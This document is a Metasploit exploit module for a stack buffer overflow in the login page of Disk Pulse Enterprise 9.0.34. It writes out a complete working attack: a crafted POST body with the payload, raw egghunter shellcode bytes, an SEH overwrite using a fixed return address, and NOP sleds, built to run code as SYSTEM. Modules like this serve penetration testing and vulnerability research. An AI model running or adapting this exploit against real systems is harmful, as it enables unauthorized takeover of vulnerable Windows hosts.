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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::Egghunter
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Disk Pulse Enterprise Login Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a stack buffer overflow in Disk Pulse Enterprise
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        9.0.34. If a malicious user sends a malicious HTTP login request,
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        it is possible to execute a payload that would run under the Windows
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        NT AUTHORITY\SYSTEM account. Due to size constraints, this module
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        uses the Egghunter technique.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Chris Higgins', # msf Module -- @ch1gg1ns
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          'Tulpa Security' # Original discovery -- @tulpa_security
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        ],
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      'References'     =>
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        [
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          [ 'EDB', '40452' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread'
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        },
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      'Platform'       => 'win',
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      'Payload'        =>
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        {
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          'BadChars' => "\x00\x0a\x0d\x26"
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        },
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      'Targets'        =>
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        [
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          [ 'Disk Pulse Enterprise 9.0.34',
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            {
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              'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
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              'Offset' => 12600
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            }
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          ],
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2016-10-03',
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      'DefaultTarget'  => 0))
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    register_options([Opt::RPORT(80)])
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  end
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  def check
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    res = send_request_cgi({
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      'uri'    => '/',
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      'method' => 'GET'
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    })
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    if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    eggoptions =
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    {
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      :checksum => true,
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      :eggtag => "w00t"
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    }
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    print_status("Generating exploit...")
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    sploit =  "username=admin"
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    sploit << "&password=aaaaa\r\n"
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    # Would like to use generate_egghunter(), looking for improvement
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    egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
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    egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
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    sploit << rand_text(target['Offset'] - payload.encoded.length)
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    sploit << "w00tw00t"
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    sploit << payload.encoded
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    sploit << make_nops(70)
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    sploit << rand_text(1614)
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    # Would like to use generate_seh_record(), looking for improvement
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    sploit << "\x90\x90\xEB\x0B"
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    sploit << "\x33\xA3\x01\x10"
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    sploit << make_nops(20)
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    sploit << egghunter
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    sploit << make_nops(7000)
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    # Total exploit size should be 21747
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    print_status("Total exploit size: " + sploit.length.to_s)
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    print_status("Triggering the exploit now...")
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    print_status("Please be patient, the egghunter may take a while...")
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    res = send_request_cgi({
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      'uri' => '/login',
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      'method' => 'POST',
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      'content-type' => 'application/x-www-form-urlencoded',
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      'content-length' => '17000',
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      'data' => sploit
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    })
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    handler
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    disconnect
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  end
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end
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